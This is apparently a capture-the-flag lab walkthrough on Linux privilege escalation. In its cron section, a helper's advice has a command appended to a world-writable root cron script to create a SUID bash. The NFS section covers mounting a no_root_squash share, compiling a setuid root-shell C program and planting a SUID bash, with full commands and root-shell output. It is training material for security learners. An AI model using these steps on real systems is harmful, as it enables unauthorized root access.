52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
 ls -la /etc/cron.d
total 32
drwxr-xr-x   2 root root  4096 Mar  3 07:27 .
drwxr-xr-x 106 root root 12288 Jun 12 13:11 ..
-rw-r--r--   1 root root   102 Feb 13  2020 .placeholder
-rw-r--r--   1 root root   139 Mar  3 07:27 cleanup
-rw-r--r--   1 root root   201 Feb 14  2020 e2scrub_all
-rw-r--r--   1 root root   396 Jan  9  2024 sysstat

What are the contents of /root/flag.txt?

cat /etc/cron.d/cleanup
SHELL=/bin/bash
PATH=/home/ubuntu:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

* * * * * root /usr/local/bin/cleanup.sh
cat /usr/local/bin/cleanup.sh
#!/bin/bash

find /tmp -type f -mtime +1 -delete
find /var/tmp -type f -mtime +7 -delete
echo "[cleanup] done at $(date)"

First let's check if you can write to that script:

ls -l /usr/local/bin/cleanup.sh

If it's writable, you don't need an AttackBox at all. You can modify it to do something like copy bash as a SUID binary:

echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /usr/local/bin/cleanup.sh

Then wait up to 60 seconds (it runs every minute) and:

/tmp/rootbash -p

That gives you a root shell without needing a listener. But first share the ls -l output so we know if you have write access.

 ls -l /usr/local/bin/cleanup.sh
-rwxrwxrwx 1 root root 122 Mar  3 07:27 /usr/local/bin/cleanup.sh
john@cron-box:~$ echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /usr/local/bin/cleanup.sh
john@cron-box:~$ /tmp/rootbash -p
-bash: /tmp/rootbash: No such file or directory
john@cron-box:~$ /tmp/rootbash -p
rootbash-5.2# cat /root/flag.txt
THM{g0t-r00t-from-REDACTED}

Privilege Escalation: NFS

Privilege escalation vectors are not confined to internal access. Shared folders and remote management interfaces such as SSH and Telnet can also help you gain root access on the target system. Some cases will also require using both vectors, e.g., finding a root SSH private key on the target system and connecting via SSH with root privileges instead of trying to increase your current user’s privilege level.

Another vector is a misconfigured network shell. This vector can sometimes be seen during penetration testing engagements when a network backup system is present.

NFS (Network File Sharing) configuration is kept in the /etc/exports file. This file is created during the NFS server installation and can usually be read by users.

Info: The shares in this task examples and the ones you will target may be different.

john@nfs-box:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
#               to NFS clients.  See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes       hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4        gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes  gss/krb5i(rw,sync,no_subtree_check)

/tmp *(rw,sync,insecure,no_root_squash,no_subtree_check)
/mnt/sharedfolder *(rw,sync,insecure,no_subtree_check)
/backups *(rw,sync,insecure,no_root_squash,no_subtree_check)

The critical element for this privilege escalation vector is the no_root_squash option you can see above. By default, NFS will change the root user to nfsnobody, stripping any file from operating with root privileges. If the no_root_squash option is present on a writable share, we can create an executable(that would be owned by root) with the SUID bit set and run it on the target system.

To start, enumerate the target shares from your attacking machine.

root@CONNECTION_IP:~# showmount -e MACHINE_IP
Export list for MACHINE_IP:
/backups          *
/mnt/sharedfolder *
/tmp              *

You can then mount one of the no_root_squash shares to your attacking machine and start building your executable.

root@CONNECTION_IP:~# mkdir /tmp/backupsonattackermachine
root@CONNECTION_IP:~# mount -o rw MACHINE_IP:/backups /tmp/backupsonattackermachine
root@CONNECTION_IP:~# cd /tmp/backupsonattackermachine

As you can set SUID bits, a simple executable that will run /bin/bash on the target system will do the job.

int main() {
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}

Once you compile the code, you can set the SUID bit.

Info: You should also make sure that the file is owned by root (i.e. root:root).

root@CONNECTION_IP:/tmp/backupsonattackermachine# gcc nfs.c -o nfs -w -static
root@CONNECTION_IP:/tmp/backupsonattackermachine# chmod +s nfs
root@CONNECTION_IP:/tmp/backupsonattackermachine# ls -l nfs
-rwsr-sr-x 1 root root 16712 Jun 17 16:24 nfs

You will see below that both files (nfs.c and nfs) are present on the target system. If you are on the mounted share, there is no need to transfer them.

Then, you can switch back to the target and run your uploaded binary.

john@nfs-box:~$ id
john@nfs-box:~$ whoami
john
john@nfs-box:/backups$ ls -l
total 24
-rwsr-sr-x 1 root root 16712 Jun 17 16:24 nfs
-rw-r--r-- 1 root root    76 Jun 17 16:24 nfs.c
john@nfs-box:~$ ./nfs
root@nfs-box:~# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1000(alper)
root@nfs-box:~# whoami
root

Notice the nfs executable has the SUID bit set on the target system and runs with root privileges.

Next, you will have to exploit a similar vulnerability on the target system.

Answer the questions below

What is the full path of the mountable share?

john@nfs-box:~$ cat /etc/exports
/opt/nfs               *(rw,sync,no_root_squash,no_subtree_check)
showmount -e TARGET_IP
Export list for TARGET_IP:
/opt/nfs *
john@nfs-box:~$ mkdir /tmp/backupsonattackermachine
john@nfs-box:~$ mount -o rw TARGET_IP:/backups /tmp/backupsonattackermachine
mount.nfs: failed to apply fstab options

What are the contents of /root/flag.txt?

  • Run this on the root machine
mkdir /tmp/nfsmount
root@ip-10-113-110-20:~# mount -o rw TARGET_IP:/opt/nfs /tmp/nfsmount
root@ip-10-113-110-20:~# cd /tmp/nfsmount
root@ip-10-113-110-20:/tmp/nfsmount# cp /bin/bash rootbash
root@ip-10-113-110-20:/tmp/nfsmount# chmod +s rootbash
root@ip-10-113-110-20:/tmp/nfsmount# ls -l rootbash
-rwsr-sr-x 1 root root 1446024 Jun 22 17:56 rootbash
  • Run this on the nfs-box machine
john@nfs-box:~$ /opt/nfs/rootbash -p
rootbash-5.2# whoami
root
rootbash-5.2# cat /root/flag.txt
THM{exports-r00T-REDACTED}

Conclusion

In this room, you worked through the most common misconfigurations that turn an ordinary Linux user into root.

  • You abused overly permissive sudo rules to run privileged commands as another user.

  • You hunted down SUID binaries that execute as their owner and turned them into shells.

  • You hijacked the PATH environment variable to trick privileged scripts into running attacker-controlled binaries.

  • You exploited Linux capabilities left on the wrong executables.

  • You abused writable cron jobs running as root.

  • You exploited a misconfigured NFS share with no_root_squash to plant a root-owned SUID binary from your own machine.

The common thread across all of these is the same: privilege escalation rarely comes from a single dramatic flaw; it comes from a small misconfiguration that hands you something you weren't supposed to have. Enumerate carefully, check the permissions on everything that runs as another user, and the path up almost always reveals itself.

Next, in the Linux Privilege Escalation: Automation room, we will take a look at automating the enumeration process and running public exploits.